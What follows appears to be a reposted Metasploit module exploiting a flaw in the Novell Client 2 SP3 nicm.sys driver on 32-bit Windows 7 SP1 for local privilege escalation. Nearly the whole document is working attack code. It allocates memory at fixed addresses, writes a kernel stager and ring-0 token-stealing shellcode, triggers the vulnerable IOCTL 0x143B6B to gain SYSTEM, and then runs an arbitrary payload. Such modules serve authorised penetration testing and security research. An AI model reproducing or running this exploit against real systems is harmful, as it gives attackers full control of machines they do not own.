Novell Client 2 SP3 nicm.sys Local Privilege Escalation Exploit

:
27.06.2013
:
Novell Client 2
:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'

class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking

include Msf::Post::Common
include Msf::Post::Windows::Priv

def initialize(info={})
super(update_info(info, {
'Name' => 'Novell Client 2 SP3 nicm.sys Local Privilege Escalation',
'Description' => %q{
This module exploits a flaw in the nicm.sys driver to execute arbitrary code in
kernel space. The vulnerability occurs while handling ioctl requests with code
0x143B6B, where a user provided pointer is used as function pointer. The module
has been tested successfully on Windows 7 SP1 with Novell Client 2 SP3.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery
'juan vazquez' # MSF module
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
# Tested with nicm.sys Version v3.1.5 Novell XTier Novell XTCOM Services Driver for Windows
# as installed with Novell Client 2 SP3 for Windows 7
[ 'Automatic', { } ],
[ 'Windows 7 SP1',
{
'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
'_KPROCESS' => "\x50", # Offset to _KPROCESS from a _ETHREAD struct
'_TOKEN' => "\xf8", # Offset to TOKEN from the _EPROCESS struct
'_UPID' => "\xb4", # Offset to UniqueProcessId FROM the _EPROCESS struct
'_APLINKS' => "\xb8" # Offset to ActiveProcessLinks _EPROCESS struct
}
]
],
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
[ 'OSVDB', '93718' ],
[ 'URL', 'http://www.novell.com/support/kb/doc.php?id=7012497' ],
[ 'URL', 'http://pastebin.com/GB4iiEwR' ]
],
'DisclosureDate' => 'May 22 2013',
'DefaultTarget' => 0
}))

end

def add_railgun_functions
session.railgun.add_function(
'ntdll',
'NtAllocateVirtualMemory',
'DWORD',
[
["DWORD", "ProcessHandle", "in"],
["PBLOB", "BaseAddress", "inout"],
["PDWORD", "ZeroBits", "in"],
["PBLOB", "RegionSize", "inout"],
["DWORD", "AllocationType", "in"],
["DWORD", "Protect", "in"]
])

session.railgun.add_function(
'ntdll',
'NtDeviceIoControlFile',
'DWORD',
[
[ "DWORD", "FileHandle", "in" ],
[ "DWORD", "Event", "in" ],
[ "DWORD", "ApcRoutine", "in" ],
[ "DWORD", "ApcContext", "in" ],
[ "PDWORD", "IoStatusBlock", "out" ],
[ "DWORD", "IoControlCode", "in" ],
[ "LPVOID", "InputBuffer", "in" ],
[ "DWORD", "InputBufferLength", "in" ],
[ "LPVOID", "OutputBuffer", "in" ],
[ "DWORD", "OutPutBufferLength", "in" ]
])

session.railgun.add_function(
'ntdll',
'NtQueryIntervalProfile',
'DWORD',
[
[ "DWORD", "ProfileSource", "in" ],
[ "PDWORD", "Interval", "out" ]
])
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
session.railgun.add_function(
'psapi',
'EnumDeviceDrivers',
'BOOL',
[
["PBLOB", "lpImageBase", "out"],
["DWORD", "cb", "in"],
["PDWORD", "lpcbNeeded", "out"]
])
session.railgun.add_function(
'psapi',
'GetDeviceDriverBaseNameA',
'DWORD',
[
["LPVOID", "ImageBase", "in"],
["PBLOB", "lpBaseName", "out"],
["DWORD", "nSize", "in"]
])
end

def open_device(dev)

invalid_handle_value = 0xFFFFFFFF

r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)

handle = r['return']

if handle == invalid_handle_value
return nil
end

return handle
end

def execute_shellcode(shell_addr)

vprint_status("Creating the thread to execute the shellcode...")
ret = session.railgun.kernel32.CreateThread(nil, 0, shell_addr, nil, "CREATE_SUSPENDED", nil)
if ret['return'] < 1
vprint_error("Unable to CreateThread")
return nil
end
hthread = ret['return']

vprint_status("Resuming the Thread...")
ret = client.railgun.kernel32.ResumeThread(hthread)
if ret['return'] < 1
vprint_error("Unable to ResumeThread")
return nil
end

return true
end

def ring0_shellcode(t)
tokenstealing = "\x52" # push edx # Save edx on the stack
tokenstealing << "\x53" # push ebx # Save ebx on the stack
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+50h] # Retrieve _KPROCESS
tokenstealing << "\x8b\xc8" # mov ecx, eax
tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0f8h] # Retrieves TOKEN
tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+b8h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,b8h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+b4h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing << "\x75\xe8" # jne 0000101e ======================
tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0f8h] # Retrieves TOKEN and stores on EDX
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0f8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing << "\x5b" # pop ebx # Restores ebx
tokenstealing << "\x5a" # pop edx # Restores edx
tokenstealing << "\xc2\x08" # ret 08h # Away from the kernel!

return tokenstealing
end


def allocate_memory(proc, address, length)

result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("V"), nil, [ length ].pack("V"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")

if not result["BaseAddress"] or result["BaseAddress"].empty?
vprint_error("Failed to allocate memory")
return nil
end

my_address = result["BaseAddress"].unpack("V")[0]

vprint_good("Memory allocated at 0x#{my_address.to_s(16)}")

if not proc.memory.writable?(my_address)
vprint_error("Failed to allocate memory")
return nil
else
vprint_good("0x#{my_address.to_s(16)} is now writable")
end

return my_address
end

def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end

def check
handle = open_device("\\\\.\\nicm")
if handle.nil?
return Exploit::CheckCode::Safe
end
session.railgun.kernel32.CloseHandle(handle)
return Exploit::CheckCode::Detected
end

def exploit

vprint_status("Adding the railgun stuff...")
add_railgun_functions

if sysinfo["Architecture"] =~ /wow64/i
fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported")
elsif sysinfo["Architecture"] =~ /x64/
fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported")
end

my_target = nil
if target.name =~ /Automatic/
print_status("Detecting the target system...")
os = sysinfo["OS"]
if os =~ /windows 7/i
my_target = targets[1]
print_status("Running against #{my_target.name}")
end
else
my_target = target
end

if my_target.nil?
fail_with(Exploit::Failure::NoTarget, "Remote system not detected as target, select the target manually")
end

print_status("Checking device...")
handle = open_device("\\\\.\\nicm")
if handle.nil?
fail_with(Exploit::Failure::NoTarget, "\\\\.\\nicm device not found")
else
print_good("\\\\.\\nicm found!")
end

this_proc = session.sys.process.open

print_status("Storing the Kernel stager on memory...")
stager_address = 0x0d0d0000
stager_address = allocate_memory(this_proc, stager_address, 0x1000)

if stager_address.nil? or stager_address == 0
session.railgun.kernel32.CloseHandle(handle)
fail_with(Exploit::Failure::Unknown, "Failed to allocate memory")
end

# eax => &kernel_stager
# .text:000121A3 mov ecx, eax
# .text:000121A5 mov eax, [ecx]
# .text:000121A7 mov edx, [eax]
# .text:000121A9 push ecx
# .text:000121AA push eax
# .text:000121AB call dword ptr [edx+0Ch]
kernel_stager = [
stager_address + 0x14, # stager_address
junk,
junk,
junk,
junk,
stager_address + 0x18, # stager_address + 0x14
junk,
junk,
junk,
stager_address + 0x28 # stager_address + 0x24
].pack("V*")

kernel_stager << ring0_shellcode(my_target)

result = this_proc.memory.write(stager_address, kernel_stager)

if result.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Exploit::Failure::Unknown, "Failed to write contents to memory")
else
vprint_good("Contents successfully written to 0x#{stager_address.to_s(16)}")
end


print_status("Triggering the vulnerability to execute the Kernel Handler")
magic_ioctl = 0x143B6B # Vulnerable IOCTL
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, stager_address, 0x14, 0, 0)
session.railgun.kernel32.CloseHandle(handle)

if ioctl["GetLastError"] != 0
print_error("Something wrong while triggering the vulnerability, anyway checking privileges...")
end

print_status("Checking privileges after exploitation...")

if not is_system?
fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful")
else
print_good("Exploitation successful!")
end

print_status("Storing the final payload on memory...")

shell_address = 0x0c0c0000
shell_address = allocate_memory(this_proc, shell_address, 0x1000)

if shell_address.nil?
fail_with(Exploit::Failure::Unknown, "Failed to allocate memory")
end

result = this_proc.memory.write(shell_address, payload.encoded)

if result.nil?
fail_with(Exploit::Failure::Unknown, "Failed to write contents to memory")
else
print_good("Contents successfully written to 0x#{shell_address.to_s(16)}")
end

print_status("Executing the payload...")
result = execute_shellcode(shell_address)
if result.nil?
fail_with(Exploit::Failure::Unknown, "Error while executing the payload")
else
print_good("Enjoy!")
end
end

end

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